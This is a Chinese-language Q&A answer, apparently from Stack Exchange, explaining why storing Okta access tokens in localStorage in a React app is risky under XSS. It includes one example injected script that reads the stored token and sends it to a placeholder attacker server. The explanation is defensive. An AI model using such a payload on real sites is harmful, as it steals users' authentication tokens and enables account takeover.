为何不将Access Token存入Local Storage?XSS风险困惑求解
关于React+Okta认证中XSS风险的疑问解答
先纠正你的核心误区
你搞反了XSS攻击的执行上下文——攻击者注入的恶意JavaScript代码,是在受害者的浏览器中运行的,拿到的是当前登录的受害者用户的Access Token/ID Token,不是攻击者自己的。
举个具体的攻击场景
假设你的应用允许用户发布公开内容(比如评论、帖子),攻击者在发布内容时插入一段恶意脚本:
<script> // 从LocalStorage里取出Okta存储的Token const tokenData = localStorage.getItem('okta-token-storage'); // 把Token发送到攻击者的服务器 fetch('https://attacker-server.com/steal', { method: 'POST', body: tokenData }); </script>
当你的其他用户(受害者)打开包含这段恶意内容的页面时,浏览器会把这段脚本当成你的应用代码执行——因为它属于你的应用域名下的页面,所以有权限访问LocalStorage里的Token。脚本执行后,受害者的Token就会被偷偷发送到攻击者的服务器。
再解释你对“Token可见性”的误解
你提到Access Token在网络请求中能被看到,但这和XSS风险是两回事:
- 正常请求中的Token是通过HTTPS传输的,中间网络节点(运营商、路由器等)无法读取明文;但XSS是直接从浏览器本地存储中窃取Token,完全绕过了HTTPS的传输加密保护。
- 抓包获取Token需要攻击者处于受害者的网络环境中(比如同一局域网),局限性很大;而XSS攻击只要受害者访问了恶意内容,就能主动把Token发送给攻击者,不受网络环境限制,攻击范围更广。
- 更关键的是,拿到Token后攻击者可以直接冒充受害者:如果受害者是普通用户,攻击者能调用API查看/修改受害者的个人数据;如果受害者是管理员,攻击者甚至能调用管理员权限的接口,删除系统数据、修改配置,造成严重破坏。
你的逻辑漏洞总结
你错误地认为XSS脚本是在攻击者自己的浏览器中执行,但实际上XSS是跨站脚本攻击——恶意脚本被注入到你的应用页面中,运行在受害者的浏览器上下文里,因此能获取到该域名下的所有LocalStorage数据,包括受害者的认证Token。
内容的提问来源于stack exchange,提问作者lclankyo
相关产品推荐
相关产品推荐

